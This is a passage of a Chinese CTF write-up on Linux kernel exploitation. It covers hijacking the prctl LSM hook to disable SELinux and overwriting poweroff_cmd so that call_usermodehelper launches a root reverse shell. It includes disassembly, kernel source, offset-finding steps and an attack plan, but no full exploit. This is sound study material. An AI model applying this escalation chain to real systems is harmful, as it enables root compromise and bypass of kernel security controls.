goto LABEL_39;
v17 = *((_QWORD *)v16 + 3);
if ( (unsigned __int64)(v17 + v27) > *((_QWORD *)v16 + 2) )
goto LABEL_25;
v18 = *((_QWORD *)v16 + 1) + v17;
if ( v18 <= 0xFFFFFFFF7FFFFFFFLL ) //这里做出了限制
{
printk(&unk_779, v26);
}
else if ( strncpy_from_user(v18, v26, v27) >= 0 )
{
goto LABEL_19;
}
goto LABEL_25;

出题人给了一个新的思路,这个思路来源于INetCop Security分享的New Reliable Android Kernel Root Exploitation Techniques,slide在这里可以找到,这种利用方式劫持了prctl函数,可以绕过PXN防御。

prctl

prctl函数有五个参数,内核对应的处理函数如下,可以看到,内核将prctl的5个参数全部传递给了security_task_prctl函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/sys.c#L2200
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3, unsigned long, arg4, unsigned long arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;

error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;

error = 0;
switch (option) {
case PR_SET_PDEATHSIG:
if (!valid_signal(arg2)) {
error = -EINVAL;
break;
}
me->pdeath_signal = arg2;
break;
'''
default:
error = -EINVAL;
break;
}
return error;
}

在security_task_prctl函数中,传递的参数由hp->hook.task_prctl调用,hp.hook是一个维护了一个函数虚表,最终调用到虚表里的task_prctl函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//https://elixir.bootlin.com/linux/v4.15.8/source/security/security.c#L1122
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;

list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}

//https://elixir.bootlin.com/linux/v4.15.8/source/include/linux/lsm_hooks.h#L1964
struct security_hook_list {
struct list_head list;
struct list_head *head;
union security_list_options hook;
char *lsm;
} __randomize_layout;

//https://elixir.bootlin.com/linux/v4.15.8/source/include/linux/lsm_hooks.h#L1568
int (*task_prctl)(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

在INetCop Security分享的方法中,第一种思路是关闭SEAndroid之后,将task_prctl函数修改为我们想要调用的内核函数,比如将task_prctl函数修改为prepare_kernel_cred函数,然后传递一个参数0,或者将task_prctl函数修改为commit_creds,然后传递cred_addr,执行commit_creds(cred_addr)。

1
2
3
4
5
6
7
8
// change task_prctl within selinux_ops to address of reset_security_ops
syscall(172); /* 172 = sys_prctl *//* reset_security_ops() call */
[...]
// change task_prctl within selinux_ops to address of prepare_kernel_cred
cred_addr=syscall(172, 0); /* prepare_kernel_cred(0) call */
[...]
// change task_prctl within selinux_ops to address of commit_creds
syscall(172,cred_addr); /* commit_creds(cred_addr) call */

正如参考中的文章里提到的那样,这个方法在64位下不能实现,因为这个函数的第一个参数是int类型,在64位下会被截断,而我们传递的内核函数地址都是64位。

call_usermodehelper

在slide中提到一个call_usermodehelper函数,该函数可以实现在内核空间调用用户空间的应用程序,该函数会注册一个subprocess_info->work handler,然后调用call_usermodehelper_setup和call_usermodehelper_exec函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/umh.c#L478
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;

return call_usermodehelper_exec(info, wait);
}

call_usermodehelper_setup函数用来设置路径,函数参数,环境变量以及执行work handler。call_usermodehelper_exec函数会向system_unbound_wq队列注册一个sub_info->work。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/umh.c#L367
struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data)
{
'''
INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
sub_info->argv = argv;
sub_info->envp = envp;

sub_info->cleanup = cleanup;
sub_info->init = init;
sub_info->data = data;
out:
return sub_info;
}

//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/umh.c#L408
nt call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
DECLARE_COMPLETION_ONSTACK(done);
int retval = 0;
'''
queue_work(system_unbound_wq, &sub_info->work);
if (wait == UMH_NO_WAIT) /* task has freed sub_info */
goto unlock;

if (wait & UMH_KILLABLE) {
retval = wait_for_completion_killable(&done);
if (!retval)
goto wait_done;

/* umh_complete() will see NULL and free sub_info */
if (xchg(&sub_info->complete, NULL))
goto unlock;
/* fallthrough, umh_complete() was already called */
}
'''
}

因为call_usermodehelper具有root权限,如果我们可以利用题目限制的任意读写来调用该函数,就可以以root权限执行需要执行的程序。但是利用上文中提到的将task_prctl修改为call_usermodehelper也是不可以的,因为它作为第一个参数也是64位,会发生截断。另外的思路就是找一下其他调用了call_usermodehelper函数的其他函数。
为了查看偏移以及后面一些函数的交叉引用,通过extract-vmlinux提取出的vmlinux没有符号表,需要自己编译一个内核,这里我选择的内核版本是4.15.8,下载4.15.8的内核源码,进行编译。依次执行以下命令:

1
2
3
4
make menuconfig
make
make all
make modules

在内核根目录下生成了vmlinux,在IDA里打开,就可以查看各个函数以及调用情况。因为我们不看偏移,只追溯函数调用,所以版本其实没有很大的影响。
在IDA里可以看到该函数的交叉引用一共有三个:

1
2
3
Down	p	run_cmd+30	call    near ptr call_usermodehelper-0B295h
Down p cgroup1_release_agent+111 call call_usermodehelper-87416h
Down p tomoyo_load_policy+C3 call near ptr call_usermodehelper-2F3598h

好像和版本还是有关联的,因为p4nda的文章里写的交叉引用有4个,少的是mce_do_trigger,我在我编译的vmlinux里都搜索不到这个函数。
如果调用cgroup1_release_agent这个函数,需要伪造一个work_struct结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/cgroup/cgroup-v1.c#L814
void cgroup1_release_agent(struct work_struct *work)
{
'''
struct cgroup *cgrp =
container_of(work, struct cgroup, release_agent_work);
char *pathbuf = NULL, *agentbuf = NULL;
char *argv[3], *envp[3];
int ret;
'''
argv[0] = agentbuf;
argv[1] = pathbuf;
argv[2] = NULL;

/* minimal command environment */
envp[0] = "HOME=/";
envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
envp[2] = NULL;

mutex_unlock(&cgroup_mutex);
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
'''
}

虽然tomoyo_load_policy函数只有一个filename的参数,但是前面有strcmp的检查,有一些限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//https://elixir.bootlin.com/linux/v4.15.8/source/security/tomoyo/load_policy.c#L84
void tomoyo_load_policy(const char *filename)
{
static bool done;
char *argv[2];
char *envp[3];

if (tomoyo_policy_loaded || done)
return;
if (!tomoyo_trigger)
tomoyo_trigger = CONFIG_SECURITY_TOMOYO_ACTIVATION_TRIGGER;
if (strcmp(filename, tomoyo_trigger))
return;
if (!tomoyo_policy_loader_exists())
return;
done = true;
printk(KERN_INFO "Calling %s to load policy. Please wait.\n",
tomoyo_loader);
argv[0] = (char *) tomoyo_loader;
argv[1] = NULL;
envp[0] = "HOME=/";
envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
envp[2] = NULL;
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
tomoyo_check_profile();
}

还有一个run_cmd函数,该函数根据传入的命令做参数的切分,然后调用call_usermodehelper执行传入的命令。参数比较简单,在向上回溯run_cmd的调用者。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}

return ret;
}

查看run_cmd的交叉引用发现有两个调用:

1
2
Down	p	reboot_work_func+C	call    run_cmd
Down p poweroff_work_func+14 call run_cmd

函数reboot_work_func调用了__orderly_reboot函数,该函数调用了run_cmd函数。但是该函数的参数work位于.rodata段,在IDA里可以看到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/reboot.c#L499
static void reboot_work_func(struct work_struct *work)
{
__orderly_reboot();
}
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/reboot.c#L439
static int __orderly_reboot(void)
{
int ret;

ret = run_cmd(reboot_cmd);

if (ret) {
pr_warn("Failed to start orderly reboot: forcing the issue\n");
emergency_sync();
kernel_restart(NULL);
}

return ret;
}

//IDA reboot_work_func
.text:FFFFFFFF8109B9E0 reboot_work_func proc near
.text:FFFFFFFF8109B9E0 work = rdi ; work_struct *
.text:FFFFFFFF8109B9E0 call near ptr __fentry__+9666ABh
.text:FFFFFFFF8109B9E5 mov work, (offset __start_rodata+81E311C0h) ;

第二个函数poweroff_work_func调用了__orderly_poweroff,然后该函数调用了run_cmd。这个work的参数在.data段上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/reboot.c#L477
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
//https://elixir.bootlin.com/linux/v4.15.8/source/kernel/reboot.c#L454
static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}

return ret;
}

//IDA
.text:FFFFFFFF8109BD00 poweroff_work_func proc near
.text:FFFFFFFF8109BD00 work = rdi ; work_struct *
.text:FFFFFFFF8109BD00 call near ptr __fentry__+96638Bh
.text:FFFFFFFF8109BD05 push rbx
.text:FFFFFFFF8109BD06 mov work, (offset poweroff_cmd+82250CE0h)
.text:FFFFFFFF8109BD0D movzx ebx, byte ptr cs:unk_FFFFFFFF829A2FFF+1741A2Dh
.text:FFFFFFFF8109BD14 call run_cmd

因此我们的目标就是将prctl->hook.task_prctl修改为poweroff_work_func函数。
总结一下利用思路:

  1. 利用kremalloc的漏洞获得任意内存读写能力。
  2. 利用vdso爆破得到vdso的地址,可以利用vdso中的字符串”__vdso_gettimeofday”,然后泄露内核基址。
  3. 将prctl->hook.task_prctl修改为selinux_disable,调用prctl函数,从而关闭selinux。(但这一步好像只有在android中会用到,用来关闭SEAndroid)。
  4. 将在poweroff_work_func函数中调用的run_cmd函数的参数(位于.data段中)修改为”/reverse_shell\0”。
  5. 将prctl->hook.task_prctl修改为poweroff_work_func函数。调用prctl函数,触发反弹shell的脚本reverse_shell。
  6. fork一个子进程用来监听2333端口,拿到shell。

函数偏移

这里记录仪一下我找函数偏移的过程,首先需要prctl->hook.task_prctl函数的偏移,修改init,修改权限:

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

然后查看调用prctl函数,查看security_task_prctl函数地址,在gdb中下断点:

1
2
grep security_task_prctl /proc/kallsyms
ffffffffaa0bd410 T security_task_prctl

在IDA里可以看到,在security_task_prctl+0x4d处有一个非直接调用,这个调用是jmp rax,那么rax就是我们要找的prctl->hook.task_prctl,hp是rbx,那么rbx+0x18就是我们要覆写的虚表地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:FFFFFFFF81352B35                 mov     rbx, cs:security_hook_heads_0.binder_set_context_mgr.next+1619D44h
.text:FFFFFFFF81352B3C hp = rbx ; security_hook_list *
.text:FFFFFFFF81352B3C mov [rsp+38h+var_38], arg5
.text:FFFFFFFF81352B40 cmp hp, (offset security_hook_heads_0.task_prctl+8296C190h)
.text:FFFFFFFF81352B47 jz short loc_FFFFFFFF81352B7A
.text:FFFFFFFF81352B49
.text:FFFFFFFF81352B49 loc_FFFFFFFF81352B49: ; CODE XREF: security_task_prctl+68↓j
.text:FFFFFFFF81352B49 mov rax, [hp+18h] //here
.text:FFFFFFFF81352B4D mov arg5, [rsp+38h+var_38]
.text:FFFFFFFF81352B51 mov arg4, rbp
.text:FFFFFFFF81352B54 mov arg3, r12
.text:FFFFFFFF81352B57 mov arg2, r13
.text:FFFFFFFF81352B5A mov edi, r14d
.text:FFFFFFFF81352B5D call near ptr __indirect_thunk_start+8B049Eh

在gdb里执行到security_task_prctl+0x25处看一下rbx的值,减去kernel base,kernel base可以利用vdso算出来,然后得到偏移:
7
selinux_disable函数地址直接可以查看/proc/kallsyms得到,同理可以得到poweroff_work_func函数地址:

1
2
3
4
grep selinux_disable /proc/kallsyms
ffffffffaa0c7ba0 T selinux_disable
grep selinux_disable /proc/kallsyms
ffffffffaa0c7ba0 T selinux_disable

在poweroff_work_func函数下断点,因为我们已经知道prctl->hook.task_prctl的地址了,可以在exp里先将prctl->hook.task_prctl修改为poweroff_work_func函数地址,然后下断点,在gdb里得到它的参数的地址。
8
这样所需的偏移就都能得到了。

还有一个问题就是前面不是说64位参数会有截断的问题,但是为什么还是可以传递参数呢,整个利用过程中我们都没有利用prctl的参数,首先我们将prctl->hook.task_prctl函数虚表地址修改位selinux_disable,然后调用prctl函数,因为selinux_disable函数没有参数,所以调用没有什么问题,即使参数截断也没有问题。第二次我们将run_cmd位于data段的参数修改为”/reverse_shell”,将prctl->hook.task_prctl修改为poweroff_work_func函数,当调用prctl时,函数调用链就变为 prctl -> security_task_prctl -> hp->hook.task_prctl -> poweroff_work_func -> __orderly_poweroff -> run_cmd -> 执行”/reverse_shell”命令。中间不涉及到参数传递的问题。回顾我们之前设想的利用,是将hp->hook.task_prctl修改为commit_creds,然后传递cred_addr,cred_addr是64位地址,就会有截断的问题。

exp就不贴了,都是参照大佬的exp调的,仅仅记录我的学习过程和遇到的问题,其实还有一个问题,怎么确定内核基址,之前我一直以为lsmod是内核基址,今天突然想明白它是模块加载的基址,之所以在vmlinux调试时加上这个地址,是因为需要加载模块的符号表,怎么就忘了vmlinux是未压缩的内核了呢。关于确定内核基址的问题再去问问大佬或者自己再研究研究。

参考

vdso

https://cloud.tencent.com/developer/article/1073909
http://man7.org/linux/man-pages/man7/vdso.7.html
https://blog.csdn.net/wlp600/article/details/6886162
https://xinqiu.gitbooks.io/linux-insides-cn/content/SysCall/linux-syscall-3.html

ret2dir

https://www.anquanke.com/post/id/185408
https://www.cnblogs.com/0xJDchen/p/6143102.html
https://xz.aliyun.com/t/3204
https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html

prctl

https://bbs.pediy.com/thread-225488.htm